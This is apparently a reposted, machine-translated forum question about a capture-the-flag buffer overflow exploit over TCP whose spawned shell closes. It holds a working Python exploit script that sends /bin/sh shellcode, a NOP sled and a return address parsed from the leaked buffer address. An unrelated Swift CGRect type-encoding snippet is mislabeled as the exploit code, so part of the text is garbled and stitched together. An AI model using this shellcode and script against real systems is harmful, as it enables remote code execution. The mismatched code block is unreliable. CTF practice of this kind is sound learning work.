如何解决使用TCP进行的缓冲区溢出利用不会使Shell保持打开状态
我为此CTF设计了用于远程计算机的缓冲区溢出漏洞利用。质询将打印出一个地址,然后您必须使用该地址才能知道shellcode的存储位置。附件是我当前的漏洞利用代码:
#if arch(x86_64) || arch(arm64)
let CGRectType = "{CGRect={CGPoint=dd}{CGSize=dd}}"
let CGSizeType = "{CGSize=dd}"
let CGPointType = "{CGPoint=dd}"
#elseif arch(i386) || arch(arm)
let CGRectType = "{CGRect={CGPoint=ff}{CGSize=ff}}"
let CGSizeType = "{CGSize=ff}"
let CGPointType = "{CGPoint=ff}"
#endif
基本上,首先我要创建连接,然后发送输入,将程序定向到需要执行的位置,以便可以利用该漏洞(与这个问题无关)
下一步,我自己创建漏洞利用
基本前提是:
if len(sys.argv) != 3:
print "Usage: %s host port" % (sys.argv[0])
sys.exit(0)
s = socket.create_connection([sys.argv[1],int(sys.argv[2])])
recieved = s.recv(4096)
print(recieved)
#send 10 bytes of data
s.send("9999\n")
time.sleep(.2)
raw_input("EXPLOIT ?? ")
print s.recv(4096)
sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
pad = "\x90" * 251
IP = struct.pack("I",literal_eval(recieved[13:23]))
print("ADDR: ",recieved[13:23])
s.send(sh + pad + IP)
eip地址来自程序输出给我的地址(这就是我在IP变量中解析的内容)
该地址是缓冲区的开始,这是我的shellcode的开始位置,也是我想跳转到的位置。
我正在使用socat运行二进制文件,因此它与CTF服务器上托管的挑战相同。我使用GDB附加到该进程,然后运行我的漏洞利用程序。成功,但给出以下输出:
shellcode + padding + eip
并且我与该服务的连接已终止。
如果我使用本地二进制文件运行此程序,则应使用(python file.py; cat-;)| ./program来保持流打开,但这不是一个选择,因为我需要程序输出的内容并且必须远程执行。我也尝试过使用Telnet,但是随后程序挂起,什么也没发生。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。